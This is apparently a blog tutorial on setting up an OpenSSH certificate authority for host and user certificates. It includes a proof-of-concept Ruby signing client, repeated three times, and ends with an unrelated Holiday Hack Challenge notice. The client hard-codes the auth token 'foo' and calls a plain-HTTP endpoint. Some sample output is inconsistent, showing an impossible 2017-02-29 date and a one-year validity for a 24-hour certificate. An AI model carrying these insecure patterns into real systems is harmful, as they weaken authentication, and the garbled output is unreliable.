  • Certification Authority
    • System name “ca
    • Will host our Certification Authority
    • Red Hat Enterprise Linux 7
  • Server #1
    • System name “server1
    • Will function as both an SSH client and server
    • Red Hat Enterprise Linux 7
  • Server #2
    • System name “server2
    • Will function as both an SSH client and server
    • Ubuntu 16.04

1. Install Software

Let’s ensure that OpenSSH is installed, and is a compatible version for our purposes.

[admin@ca ~]$ rpm -qa | grep -i openssh
openssh-6.4p1-8.el7.x86_64
openssh-server-6.4p1-8.el7.x86_64
openssh-clients-6.4p1-8.el7.x86_64

That should do it for ca, let’s ensure we’ve got the necessary software on server1 and server2.  For these systems, we’ll only require the OpenSSH client and server packages.

[admin@server1 ~]$ rpm -qa | grep -i openssh
openssh-clients-6.4p1-8.el7.x86_64
openssh-6.4p1-8.el7.x86_64
openssh-server-6.4p1-8.el7.x86_64

and

[admin@server2 ~]$ rpm -qa | grep -i openssh
openssh-clients-6.4p1-8.el7.x86_64
openssh-6.4p1-8.el7.x86_64
openssh-server-6.4p1-8.el7.x86_64

We’re all set.

2. SSH Host Certificates

As you are likely already aware, in SSH there are two types of SSH keys – host keys and user keys.  Host keys are used to establish the identity of the host to remote SSH clients, while user keys are used to establish identity users to remote SSH servers.  We’re going to need to set up certificates based on both the host and user keys – but we can validate our configuration part way through if we start with host keys… so let’s start with them.

Create a host CA key pair

On ca, use ssh-keygen to create a host CA key pair.

[root@ca ~]# mkdir /etc/ssh_ca
[root@ca ~]# chmod 700 /etc/ssh_ca
[root@ca ~]# cd /etc/ssh_ca
[root@ca ssh_ca]# ssh-keygen -q -b 4096 -f host_ca
Enter passphrase (empty for no passphrase): secretHostPassphrase
Enter same passphrase again: secretHostPassphrase
[root@ca ssh_ca]# ls -al
total 20
drwx------. 2  root root   38 Feb 24 11:47 .
drwxr-xr-x. 87 root root 8192 Feb 24 11:47 ..
-rw-------. 1  root root 3326 Feb 24 11:47 host_ca
-rw-r--r--. 1  root root  733 Feb 24 11:47 host_ca.pub

Options explanation:

  • -q
    • This suppresses all output except for that which is necessary.
  • -b 4096
    • Creates a key pair where each key is 4096 bits in length
    • Overkill? maybe.
  • -f host_ca
    • The name of our certification authority’s host key pair.
    • /etc/ssh_ca/host_ca will contain the private key.
    • /etc/ssh_ca/host_ca.pub will contain the public key.

The passphrase used here will be required anytime a new host key needs to be signed.  Don’t lose it.

Sign the CA’s Host RSA key

Now since OpenSSH is already installed it’s very likely that a variety of host SSH keys already exist.  On RHEL 7 these keys can be found in /etc/ssh.

[root@ca ssh_ca]# ls -al /etc/ssh/ssh_host*
-rw-r-----. 1 root ssh_keys  227 Feb 24 08:35 /etc/ssh/ssh_host_ecdsa_key
-rw-r--r--. 1 root root      162 Feb 24 08:35 /etc/ssh/ssh_host_ecdsa_key.pub
-rw-r-----. 1 root ssh_keys 1675 Feb 24 08:35 /etc/ssh/ssh_host_rsa_key
-rw-r--r--. 1 root root      382 Feb 24 08:35 /etc/ssh/ssh_host_rsa_key.pub

Let’s take the host RSA public key (/etc/ssh/ssh_host_rsa_key.pub) and sign it with our host_ca private key.

[root@ca ssh_ca]# ssh-keygen -s host_ca \
                             -I host_ca.fabrikam.com \
                             -h \
                             -n ca,ca.fabrikam.com \
                             -V +52w \
                             /etc/ssh/ssh_host_rsa_key.pub
Enter passphrase: secretHostPassphrase
Signed host key /etc/ssh/ssh_host_rsa_key-cert.pub: id "host_ca.fabrikam.com"
serial 0 for ca,ca.fabrikam.com valid from 2017-02-24T11:55:00 to 
2018-02-23T11:56:53

Options explanation:

  • -s host_ca
    • The file name of the host private key to use for signing.
  • -I host_ca.fabrikam.com
    • The key identifier to include in the certificate.
  • -h
    • Generate a host certificate (instead of a user certificate)
  • -n ca,ca.fabrikam.com
    • The principal names to include in the certificate.
    • For host certificates this is a list of all names that the system is known by.
    • Note: Use the unqualified names carefully here in organizations where hostnames are not unique (ca.fabrikam.com vs. ca.dev.fabrikam.com)
  • -V +52w
    • The validity period.
    • For host certificates, you’ll probably want them pretty long lived.
    • This setting sets the validity period from now until 52 weeks hence.
  • /etc/ssh/ssh_host_rsa_key.pub
    • The name of the host RSA public key to sign.
    • Our signed host key (certificate) will be /etc/ssh/ssh_host_rsa_key-cert.pub.

It’s time now to tell the SSH daemon about this host certificate.  There are three steps here;

  • Modify the SSH daemon’s configuration file to be aware of this new RSA host certificate.
  • Add a system-wide known_hosts file with the our host_ca’s public key so that the SSH daemon can validate certificates.
  • Restart/reload the SSH daemon.

The SSH daemon’s configuration file is /etc/ssh/sshd_config, let’s add the following line and then force the SSH daemon to reload it’s configuration file.

...
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

# The default requires explicit activation of protocol 1
#Protocol 2

# HostKey for protocol version 1
#HostKey /etc/ssh/ssh_host_key
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key

### Host certificate
HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub

# Lifetime and size of ephemeral version 1 server key
#KeyRegenerationInterval 1h
#ServerKeyBits 1024
...

Now it’s time to create the system-wide known_hosts file.   The system-wide known_hosts file is called /etc/ssh/ssh_known_hosts.  In this file we are going to place the contents of our host_ca.pub file, and some other data.  This is what it should look like:

@cert-authority *.fabrikam.com ssh-rsa AAAAB3[...redacted...]lZj3r3xTOaBJ

Where everything highlighted has been copied from the /etc/ssh_ca/host_ca.pub file.

Now it’s time to send the SSH daemon the hangup signal to tell it to reload the configuration file.

[root@ca etc]# kill -HUP `pidof sshd`

Sign the RSA Host key for Server1, Server2, … Servern

Now it’s time to repeat the same processes (above), namely:

  • Collect host keys from different servers running SSHD.
  • Sign the server’s RSA host public keys
  • Create the /etc/ssh/ssh_known_hosts file
  • Copy the SSH host certificate to their appropriate locations
  • Modify the SSHD configuration file on each server
  • Restart the SSH daemon

To do this, you’ll need to copy the RSA host public key from the server back to ca, sign it, copy the host certificate back to the server, modify the SSHD configuration file on the server, copy the system-wide known_hosts file from ca to the server, and restart SSHD.

3. SSH User Certificates

In a similar way that host certificates uniquely identify SSH hosts to SSH clients, user certificates are used to uniquely identify SSH users to remote SSH daemons.

Before we begin, if you don’t already have an SSH user key, it’s time to create one.

[admin@vm-ca ~]$ ssh-keygen -t rsa -b 2048
Enter file in which to save the key (/home/admin/.ssh/id_rsa):
Enter passphrase (empty for no passphrase): secretAdminPassphrase
Enter same passphrase again: secretAdminPassphrase

We’re going to need this key pair later, but it’s not technically part of the process.

Let’s begin…

On ca, use ssh-keygen to create a user CA key pair.

[root@ca ~]# cd /etc/ssh_ca
[root@ca ssh_ca]# ssh-keygen -q -b 4096 -f user_ca
Enter passphrase (empty for no passphrase): secretUserPassphrase
Enter same passphrase again: secretUserPassphrase
[root@ca ssh_ca]# ls -al
total 20
drwx------. 2  root root   38 Feb 24 11:47 .
drwxr-xr-x. 87 root root 8192 Feb 24 11:47 ..
-rw-------. 1  root root 3326 Feb 24 11:47 host_ca
-rw-r--r--. 1  root root  733 Feb 24 11:47 host_ca.pub
-rw-------. 1  root root 3326 Feb 24 11:59 user_ca
-rw-r--r--. 1  root root  733 Feb 24 11:59 user_ca.pub

Options explanation:

  • -q
    • This suppresses all output except for that which is necessary.
  • -b 4096
    • Creates a key pair where each key is 4096 bits in length
    • Overkill? maybe.
  • -f user_ca
    • The name of our certification authority’s user key pair.
    • /etc/ssh_ca/user_ca will contain the private key.
    • /etc/ssh_ca/user_ca.pub will contain the public key.

Now, let’s take our admin user’s  RSA public key (/home/admin/.ssh/id_rsa_key.pub) and sign it with our user_ca private key.

[root@ca ssh_ca]# ssh-keygen -s user_ca \
                             -I user_admin \
                             -n admin \
                             -V +24h \
                             /home/admin/.ssh/id_rsa.pub
Enter passphrase: secretUserPassphrase
Signed host key /home/admin/.ssh/id_rsa-cert.pub: id "user_admin"
serial 0 for admin valid from 2017-02-29T9:12:00 to 
2018-03-01T9:12:00

Options explanation:

  • -s user_ca
    • The file name of the host private key to use for signing.
  • -I user_admin
    • The key identifier to include in the certificate.
  • -n admin
    • The principal names to include in the certificate.
    • For user certificates this is a list of all usernames that this certificate should include for authentication purposes.
  • -V +24h
    • The validity period.
    • For user certificates, you’ll probably want them pretty short lived, once an SSH session is authenticated the certificate can safely expire without impacting the established session.
    • This setting sets the validity period from now until 24 hours hence.
  • /home/admin/.ssh/id_rsa.pub
    • The name of the user RSA public key to sign.
    • Our user certificate will be /home/admin/.ssh/id_rsa-cert.pub.

orange-warning-icon-3 It should be mentioned here that if you create an SSH certificate as root for another user, you’ll likely need to chown the resulting certificate so that the rightful owner owns their own certificate.

Now it’s time to create a system-wide SSH known_hosts file (/etc/ssh/ssh_known_hosts).   We are going to place the contents of our host_ca.pub file, and some other data.  This is what it should look like:

@cert-authority *.fabrikam.com ssh-rsa AAAAB3[...redacted...]lZj3r3xTOaBJ

Where everything highlighted has been copied from the /etc/ssh_ca/host_ca.pub file.

In the same way that we had to tell the SSH daemon about the host_ca public key, we need to do the same thing (in a different way) about the user_ca public key.

It’s time now to tell the SSH daemon about the certification authority’s public key.  There are three steps here;

  • Modify the SSH daemon’s configuration file to point the user_ca.pub key.
  • Restart/reload the SSH daemon.

The SSH daemon’s configuration file is /etc/ssh/sshd_config, let’s add the following line and then force the SSH daemon to reload it’s configuration file.

...
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

# The default requires explicit activation of protocol 1
#Protocol 2

# HostKey for protocol version 1
#HostKey /etc/ssh/ssh_host_key
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key

### Host certificate
HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub

### User CA certificate 
TrustedUserCAKeys /etc/ssh/user_ca.pub 

# Lifetime and size of ephemeral version 1 server key 
#KeyRegenerationInterval 1h 
#ServerKeyBits 1024 
...

Finally, send the SSH daemon the hangup signal to tell it to reload the configuration file.

[root@ca etc]# kill -HUP `pidof sshd`

Sign the User key for User1, User2, … Usern

Now it’s time to repeat the same processes (above), namely:

  • Collect user SSH public keys from users (including those on different servers)
  • Sign each user public key with the CA user private key
  • Copy the user certificates to their appropriate locations
  • Modify the SSHD configuration file on the various servers.
  • Restart the SSH daemon

To do this, copy each user’s SSH public key from the server back to ca, sign it, copy the user certificate back to the user’s ~/.ssh/ folder on the appropriate server, modify the SSHD configuration file on the server, and restart SSHD.

orange-warning-icon-3 Troubleshooting tips:

  • Use the (-v) verbose option on the SSH client command line.
[admin@server1 ~]$ ssh -v admin@server2
  • Tail the authentication log on the server running the SSH daemon
[root@server2 ~]# tail -f /var/log/auth.log
  • Ensure that all systems involved have synchronized system clocks.  For short-lived signed SSH certificates, unsynchronized clocks may cause certificates to prematurely expire, or be not-yet-valid.

4. API Automation

As mentioned above there are a lot of reasons to adopt certificate-based SSH authentication.  The most compelling reason to use SSH certificates is because it transforms the immortal SSH key into something that implicitly has a finite lifespan.  In short, SSH certificates do not need to have their lifecycle managed – their lifespan is implicitly baked into them.  By setting the lifespan of SSH certificates to 2 minutes, they become single-use disposable SSH keys.

To achieve this nirvana though, there is a cost.  The cost comes in the form of authoring a robust API (and client) to securely sign user and host SSH public keys.

Check out our proof-of-concept Ruby API client and service on GitHub:

Ruby REST API (api.rb)

Ruby REST Client (keymgr.rb)

orange-warning-icon-3 This code is not intended to be a turn-key solution.  It is intended to demonstrate functionality in a proof-of-concept, non-production setting.


#!/usr/bin/ruby
require 'rest-client'
require 'socket'
require 'base64'
require 'json'
require 'digest'
def usage()
puts
puts "Usage:"
puts " ruby keymgr.rb ( -u [userid2][,userid3]…| -d | -h fqdn )"
puts
puts " -u [userid2][,userid3]…"
puts " Request user public key signing for the current user (with other user principles too)"
puts " -d"
puts " Request that SSH daemon files (known_hosts and sshd_config) be updated (requires root)"
puts " -h fqdn"
puts " Requests host public key signing (requires root)"
puts
end
# Base part of our API's URI
base_api_uri = "http://vm-ca.fabrikam.com:4567/&quot;
# The list of routes supported by this API client
host_sign_route = "sign_host_key"
user_sign_route = "sign_user_key"
daemon_update_route = "daemon_update"
# Full path to the system-wide SSH known_hosts file
known_hosts_file = "/etc/ssh/ssh_known_hosts"
# Location of the host SSH public key
host_public_key = "/etc/ssh/ssh_host_rsa_key.pub"
matchdata = host_public_key.match(/(^.*)(\.pub)$/)
# Location of the signed host SSH public key (will be created by this script)
signed_host_key_file = "#{matchdata[1]}-cert#{matchdata[2]}"
# Location of the CA's user public key (will be created by this script)
trusted_user_ca_key_file = "/etc/ssh/user_ca.pub"
auth_token = "foo"
# SSHD configurations files
sshd_config = "/etc/ssh/sshd_config"
sshd_config_backup = "/etc/ssh/sshd_config.keymgr.backup"
# Take our mode of operation from the first command line argument
mode = ARGV[0]
if ( mode == "-h" )
# This mode requires root privilege
if (Process.uid != 0)
puts "Root privilege required for this functionality"
usage()
else
# Obtain the hostname
if (ARGV[1])
fqdn=ARGV[1].chomp
else
puts "No fqdn supplied"
usage()
exit
end
matchdata = fqdn.match(/^([^\.]+)\.(.*)$/)
hostname = matchdata[1].chomp
dns_domain = matchdata[2].chomp
raw_public_key = File.read(host_public_key)
encoded_public_key = Base64.strict_encode64(raw_public_key).chomp
# Submit REST call
response = RestClient.post "#{base_api_uri}#{host_sign_route}", \
:hostname => hostname, \
:dns_domain => dns_domain, \
:public_key => "#{encoded_public_key}", \
:auth_token => auth_token
# Parse the response (it should be in JSON format)
response_hash = JSON.parse response
if ( response_hash['status'] == "Success")
puts "Creating #{signed_host_key_file}."
File.open(signed_host_key_file, 'w') { |file| file.write(Base64.decode64(response_hash['encoded_signed_host_key']))}
if File.readlines(sshd_config).grep(/HostCertificate\s+#{signed_host_key_file}/).size <= 0
FileUtils.cp sshd_config, sshd_config_backup
File.open(sshd_config,'a') { |f| f.write("HostCertificate #{signed_host_key_file}") }
puts "Please restart sshd."
else
puts "No changes required for #{sshd_config}"
end
else
puts response_hash['status']
puts response_hash['status_message']
end
end
# Request a user key be signed
elsif ( mode == "-u" )
# Set the default validity
validity="+24h"
username=ENV['USER'].chomp
# Obtain the username
if (ARGV[1])
principles=ARGV[1].chomp
end
# Obtain the location of the user's home directory from /etc/passwd
etc_passwd = (File.foreach('/etc/passwd').grep /^#{username}:/).to_s
home_dir_matchdata = etc_passwd.match(/^.*:([^:]+):[^:]+$/)
home_dir = home_dir_matchdata[1]
user_public_key = "#{home_dir}/.ssh/id_rsa.pub"
matchdata = user_public_key.match(/(^.*)(\.pub)$/)
signed_user_key_file = "#{matchdata[1]}-cert#{matchdata[2]}"
raw_public_key = File.read(user_public_key)
encoded_public_key = Base64.strict_encode64(raw_public_key).chomp
if (principles)
principles_list = "#{username},#{principles}"
else
principles_list = username
end
# Submit REST call
response = RestClient.post "#{base_api_uri}#{user_sign_route}", \
:principles => principles_list, \
:public_key => encoded_public_key, \
:validity => validity, \
:auth_token => auth_token
# Parse the response, it should be in JSON format
response_hash = JSON.parse response
if ( response_hash['status'] == "Success")
signed_user_key = Base64.decode64(response_hash['encoded_signed_user_key'])
hash_signed_user_key = Digest::SHA256.hexdigest signed_user_key
hash_signed_user_key_file = 0
if (File.file?(signed_user_key_file))
hash_signed_user_key_file = (Digest::SHA256.file signed_user_key_file).hexdigest
end
if (hash_signed_user_key != hash_signed_user_key_file)
if (hash_signed_user_key_file == 0)
puts "Creating #{signed_user_key_file}"
else
puts "Overwriting #{signed_user_key_file}"
end
File.open(signed_user_key_file, 'w') { |file| file.write(Base64.decode64(response_hash['encoded_signed_user_key']))}
else
puts "No changes required for #{signed_user_key_file}"
end
else
puts response_hash['status']
puts response_hash['status_message']
end
# Update SSH daemon files
elsif (mode == "-d")
# Requres root privilege
if (Process.uid != 0)
puts "Root privilege required for this functionality"
usage()
else
response = RestClient.post "#{base_api_uri}#{daemon_update_route}", :auth_token => auth_token
response_hash = JSON.parse response
if ( response_hash['status'] == "Success")
puts "Creating #{known_hosts_file}."
File.open(known_hosts_file, 'w') { |file| file.write(Base64.decode64(response_hash['known_hosts']))}
trusted_user_ca_key = Base64.decode64(response_hash['trusted_user_ca_public_key'])
hash_trusted_user_ca_key = Digest::SHA256.hexdigest trusted_user_ca_key
# hash the user_ca file if it exists
hash_trusted_user_ca_key_file = 0
if (File.file?(trusted_user_ca_key_file))
hash_trusted_user_ca_key_file = (Digest::SHA256.file trusted_user_ca_key_file).hexdigest
end
# is the new user_ca key different from the one we already have
if (hash_trusted_user_ca_key != hash_trusted_user_ca_key_file)
if (hash_trusted_user_ca_key_file == 0)
puts "Creating #{trusted_user_ca_key_file}"
else
puts "Overwriting #{trusted_user_ca_key_file}"
end
File.open(trusted_user_ca_key_file, 'w') { |file| file.write(Base64.decode64(response_hash['trusted_user_ca_public_key']))}
else
puts "No changes required for #{trusted_user_ca_key_file}"
end
if File.readlines(sshd_config).grep(/TrustedUserCAKeys\s+#{trusted_user_ca_key_file}/).size <= 0
FileUtils.cp sshd_config, sshd_config_backup
File.open(sshd_config,'a') { |f| f.write("TrustedUserCAKeys #{trusted_user_ca_key_file}") }
puts "Please restart sshd."
else
puts "No changes required for #{sshd_config}"
end
else
puts response_hash['status']
puts response_hash['status_message']
end
end
end


#!/usr/bin/ruby
require 'rest-client'
require 'socket'
require 'base64'
require 'json'
require 'digest'
def usage()
puts
puts "Usage:"
puts " ruby keymgr.rb ( -u [userid2][,userid3]…| -d | -h fqdn )"
puts
puts " -u [userid2][,userid3]…"
puts " Request user public key signing for the current user (with other user principles too)"
puts " -d"
puts " Request that SSH daemon files (known_hosts and sshd_config) be updated (requires root)"
puts " -h fqdn"
puts " Requests host public key signing (requires root)"
puts
end
# Base part of our API's URI
base_api_uri = "http://vm-ca.fabrikam.com:4567/&quot;
# The list of routes supported by this API client
host_sign_route = "sign_host_key"
user_sign_route = "sign_user_key"
daemon_update_route = "daemon_update"
# Full path to the system-wide SSH known_hosts file
known_hosts_file = "/etc/ssh/ssh_known_hosts"
# Location of the host SSH public key
host_public_key = "/etc/ssh/ssh_host_rsa_key.pub"
matchdata = host_public_key.match(/(^.*)(\.pub)$/)
# Location of the signed host SSH public key (will be created by this script)
signed_host_key_file = "#{matchdata[1]}-cert#{matchdata[2]}"
# Location of the CA's user public key (will be created by this script)
trusted_user_ca_key_file = "/etc/ssh/user_ca.pub"
auth_token = "foo"
# SSHD configurations files
sshd_config = "/etc/ssh/sshd_config"
sshd_config_backup = "/etc/ssh/sshd_config.keymgr.backup"
# Take our mode of operation from the first command line argument
mode = ARGV[0]
if ( mode == "-h" )
# This mode requires root privilege
if (Process.uid != 0)
puts "Root privilege required for this functionality"
usage()
else
# Obtain the hostname
if (ARGV[1])
fqdn=ARGV[1].chomp
else
puts "No fqdn supplied"
usage()
exit
end
matchdata = fqdn.match(/^([^\.]+)\.(.*)$/)
hostname = matchdata[1].chomp
dns_domain = matchdata[2].chomp
raw_public_key = File.read(host_public_key)
encoded_public_key = Base64.strict_encode64(raw_public_key).chomp
# Submit REST call
response = RestClient.post "#{base_api_uri}#{host_sign_route}", \
:hostname => hostname, \
:dns_domain => dns_domain, \
:public_key => "#{encoded_public_key}", \
:auth_token => auth_token
# Parse the response (it should be in JSON format)
response_hash = JSON.parse response
if ( response_hash['status'] == "Success")
puts "Creating #{signed_host_key_file}."
File.open(signed_host_key_file, 'w') { |file| file.write(Base64.decode64(response_hash['encoded_signed_host_key']))}
if File.readlines(sshd_config).grep(/HostCertificate\s+#{signed_host_key_file}/).size <= 0
FileUtils.cp sshd_config, sshd_config_backup
File.open(sshd_config,'a') { |f| f.write("HostCertificate #{signed_host_key_file}") }
puts "Please restart sshd."
else
puts "No changes required for #{sshd_config}"
end
else
puts response_hash['status']
puts response_hash['status_message']
end
end
# Request a user key be signed
elsif ( mode == "-u" )
# Set the default validity
validity="+24h"
username=ENV['USER'].chomp
# Obtain the username
if (ARGV[1])
principles=ARGV[1].chomp
end
# Obtain the location of the user's home directory from /etc/passwd
etc_passwd = (File.foreach('/etc/passwd').grep /^#{username}:/).to_s
home_dir_matchdata = etc_passwd.match(/^.*:([^:]+):[^:]+$/)
home_dir = home_dir_matchdata[1]
user_public_key = "#{home_dir}/.ssh/id_rsa.pub"
matchdata = user_public_key.match(/(^.*)(\.pub)$/)
signed_user_key_file = "#{matchdata[1]}-cert#{matchdata[2]}"
raw_public_key = File.read(user_public_key)
encoded_public_key = Base64.strict_encode64(raw_public_key).chomp
if (principles)
principles_list = "#{username},#{principles}"
else
principles_list = username
end
# Submit REST call
response = RestClient.post "#{base_api_uri}#{user_sign_route}", \
:principles => principles_list, \
:public_key => encoded_public_key, \
:validity => validity, \
:auth_token => auth_token
# Parse the response, it should be in JSON format
response_hash = JSON.parse response
if ( response_hash['status'] == "Success")
signed_user_key = Base64.decode64(response_hash['encoded_signed_user_key'])
hash_signed_user_key = Digest::SHA256.hexdigest signed_user_key
hash_signed_user_key_file = 0
if (File.file?(signed_user_key_file))
hash_signed_user_key_file = (Digest::SHA256.file signed_user_key_file).hexdigest
end
if (hash_signed_user_key != hash_signed_user_key_file)
if (hash_signed_user_key_file == 0)
puts "Creating #{signed_user_key_file}"
else
puts "Overwriting #{signed_user_key_file}"
end
File.open(signed_user_key_file, 'w') { |file| file.write(Base64.decode64(response_hash['encoded_signed_user_key']))}
else
puts "No changes required for #{signed_user_key_file}"
end
else
puts response_hash['status']
puts response_hash['status_message']
end
# Update SSH daemon files
elsif (mode == "-d")
# Requres root privilege
if (Process.uid != 0)
puts "Root privilege required for this functionality"
usage()
else
response = RestClient.post "#{base_api_uri}#{daemon_update_route}", :auth_token => auth_token
response_hash = JSON.parse response
if ( response_hash['status'] == "Success")
puts "Creating #{known_hosts_file}."
File.open(known_hosts_file, 'w') { |file| file.write(Base64.decode64(response_hash['known_hosts']))}
trusted_user_ca_key = Base64.decode64(response_hash['trusted_user_ca_public_key'])
hash_trusted_user_ca_key = Digest::SHA256.hexdigest trusted_user_ca_key
# hash the user_ca file if it exists
hash_trusted_user_ca_key_file = 0
if (File.file?(trusted_user_ca_key_file))
hash_trusted_user_ca_key_file = (Digest::SHA256.file trusted_user_ca_key_file).hexdigest
end
# is the new user_ca key different from the one we already have
if (hash_trusted_user_ca_key != hash_trusted_user_ca_key_file)
if (hash_trusted_user_ca_key_file == 0)
puts "Creating #{trusted_user_ca_key_file}"
else
puts "Overwriting #{trusted_user_ca_key_file}"
end
File.open(trusted_user_ca_key_file, 'w') { |file| file.write(Base64.decode64(response_hash['trusted_user_ca_public_key']))}
else
puts "No changes required for #{trusted_user_ca_key_file}"
end
if File.readlines(sshd_config).grep(/TrustedUserCAKeys\s+#{trusted_user_ca_key_file}/).size <= 0
FileUtils.cp sshd_config, sshd_config_backup
File.open(sshd_config,'a') { |f| f.write("TrustedUserCAKeys #{trusted_user_ca_key_file}") }
puts "Please restart sshd."
else
puts "No changes required for #{sshd_config}"
end
else
puts response_hash['status']
puts response_hash['status_message']
end
end
end


#!/usr/bin/ruby
require 'rest-client'
require 'socket'
require 'base64'
require 'json'
require 'digest'
def usage()
puts
puts "Usage:"
puts " ruby keymgr.rb ( -u [userid2][,userid3]…| -d | -h fqdn )"
puts
puts " -u [userid2][,userid3]…"
puts " Request user public key signing for the current user (with other user principles too)"
puts " -d"
puts " Request that SSH daemon files (known_hosts and sshd_config) be updated (requires root)"
puts " -h fqdn"
puts " Requests host public key signing (requires root)"
puts
end
# Base part of our API's URI
base_api_uri = "http://vm-ca.fabrikam.com:4567/&quot;
# The list of routes supported by this API client
host_sign_route = "sign_host_key"
user_sign_route = "sign_user_key"
daemon_update_route = "daemon_update"
# Full path to the system-wide SSH known_hosts file
known_hosts_file = "/etc/ssh/ssh_known_hosts"
# Location of the host SSH public key
host_public_key = "/etc/ssh/ssh_host_rsa_key.pub"
matchdata = host_public_key.match(/(^.*)(\.pub)$/)
# Location of the signed host SSH public key (will be created by this script)
signed_host_key_file = "#{matchdata[1]}-cert#{matchdata[2]}"
# Location of the CA's user public key (will be created by this script)
trusted_user_ca_key_file = "/etc/ssh/user_ca.pub"
auth_token = "foo"
# SSHD configurations files
sshd_config = "/etc/ssh/sshd_config"
sshd_config_backup = "/etc/ssh/sshd_config.keymgr.backup"
# Take our mode of operation from the first command line argument
mode = ARGV[0]
if ( mode == "-h" )
# This mode requires root privilege
if (Process.uid != 0)
puts "Root privilege required for this functionality"
usage()
else
# Obtain the hostname
if (ARGV[1])
fqdn=ARGV[1].chomp
else
puts "No fqdn supplied"
usage()
exit
end
matchdata = fqdn.match(/^([^\.]+)\.(.*)$/)
hostname = matchdata[1].chomp
dns_domain = matchdata[2].chomp
raw_public_key = File.read(host_public_key)
encoded_public_key = Base64.strict_encode64(raw_public_key).chomp
# Submit REST call
response = RestClient.post "#{base_api_uri}#{host_sign_route}", \
:hostname => hostname, \
:dns_domain => dns_domain, \
:public_key => "#{encoded_public_key}", \
:auth_token => auth_token
# Parse the response (it should be in JSON format)
response_hash = JSON.parse response
if ( response_hash['status'] == "Success")
puts "Creating #{signed_host_key_file}."
File.open(signed_host_key_file, 'w') { |file| file.write(Base64.decode64(response_hash['encoded_signed_host_key']))}
if File.readlines(sshd_config).grep(/HostCertificate\s+#{signed_host_key_file}/).size <= 0
FileUtils.cp sshd_config, sshd_config_backup
File.open(sshd_config,'a') { |f| f.write("HostCertificate #{signed_host_key_file}") }
puts "Please restart sshd."
else
puts "No changes required for #{sshd_config}"
end
else
puts response_hash['status']
puts response_hash['status_message']
end
end
# Request a user key be signed
elsif ( mode == "-u" )
# Set the default validity
validity="+24h"
username=ENV['USER'].chomp
# Obtain the username
if (ARGV[1])
principles=ARGV[1].chomp
end
# Obtain the location of the user's home directory from /etc/passwd
etc_passwd = (File.foreach('/etc/passwd').grep /^#{username}:/).to_s
home_dir_matchdata = etc_passwd.match(/^.*:([^:]+):[^:]+$/)
home_dir = home_dir_matchdata[1]
user_public_key = "#{home_dir}/.ssh/id_rsa.pub"
matchdata = user_public_key.match(/(^.*)(\.pub)$/)
signed_user_key_file = "#{matchdata[1]}-cert#{matchdata[2]}"
raw_public_key = File.read(user_public_key)
encoded_public_key = Base64.strict_encode64(raw_public_key).chomp
if (principles)
principles_list = "#{username},#{principles}"
else
principles_list = username
end
# Submit REST call
response = RestClient.post "#{base_api_uri}#{user_sign_route}", \
:principles => principles_list, \
:public_key => encoded_public_key, \
:validity => validity, \
:auth_token => auth_token
# Parse the response, it should be in JSON format
response_hash = JSON.parse response
if ( response_hash['status'] == "Success")
signed_user_key = Base64.decode64(response_hash['encoded_signed_user_key'])
hash_signed_user_key = Digest::SHA256.hexdigest signed_user_key
hash_signed_user_key_file = 0
if (File.file?(signed_user_key_file))
hash_signed_user_key_file = (Digest::SHA256.file signed_user_key_file).hexdigest
end
if (hash_signed_user_key != hash_signed_user_key_file)
if (hash_signed_user_key_file == 0)
puts "Creating #{signed_user_key_file}"
else
puts "Overwriting #{signed_user_key_file}"
end
File.open(signed_user_key_file, 'w') { |file| file.write(Base64.decode64(response_hash['encoded_signed_user_key']))}
else
puts "No changes required for #{signed_user_key_file}"
end
else
puts response_hash['status']
puts response_hash['status_message']
end
# Update SSH daemon files
elsif (mode == "-d")
# Requres root privilege
if (Process.uid != 0)
puts "Root privilege required for this functionality"
usage()
else
response = RestClient.post "#{base_api_uri}#{daemon_update_route}", :auth_token => auth_token
response_hash = JSON.parse response
if ( response_hash['status'] == "Success")
puts "Creating #{known_hosts_file}."
File.open(known_hosts_file, 'w') { |file| file.write(Base64.decode64(response_hash['known_hosts']))}
trusted_user_ca_key = Base64.decode64(response_hash['trusted_user_ca_public_key'])
hash_trusted_user_ca_key = Digest::SHA256.hexdigest trusted_user_ca_key
# hash the user_ca file if it exists
hash_trusted_user_ca_key_file = 0
if (File.file?(trusted_user_ca_key_file))
hash_trusted_user_ca_key_file = (Digest::SHA256.file trusted_user_ca_key_file).hexdigest
end
# is the new user_ca key different from the one we already have
if (hash_trusted_user_ca_key != hash_trusted_user_ca_key_file)
if (hash_trusted_user_ca_key_file == 0)
puts "Creating #{trusted_user_ca_key_file}"
else
puts "Overwriting #{trusted_user_ca_key_file}"
end
File.open(trusted_user_ca_key_file, 'w') { |file| file.write(Base64.decode64(response_hash['trusted_user_ca_public_key']))}
else
puts "No changes required for #{trusted_user_ca_key_file}"
end
if File.readlines(sshd_config).grep(/TrustedUserCAKeys\s+#{trusted_user_ca_key_file}/).size <= 0
FileUtils.cp sshd_config, sshd_config_backup
File.open(sshd_config,'a') { |f| f.write("TrustedUserCAKeys #{trusted_user_ca_key_file}") }
puts "Please restart sshd."
else
puts "No changes required for #{sshd_config}"
end
else
puts response_hash['status']
puts response_hash['status_message']
end
end
end

 

 

 

SANS Holiday Hack Challenge 2016 – Update

The Awards Ceremony for the 2016 SANS Holiday Hack Challenge were held on February 1st @ 2pm ET 2017.  Ed Skoudis (of Counterhack.net, and SANS 560 fame) officiated the ceremony had the honour of announcing the winners.

I’m chuffed to announce that the solution (posted here) was called out as one of the 15 “Honourable Mentions”.  I’ll let you figure out which one on the list is me 😉

Here’s the official results announcement:

https://holidayhackchallenge.com/2016/winners_answers.html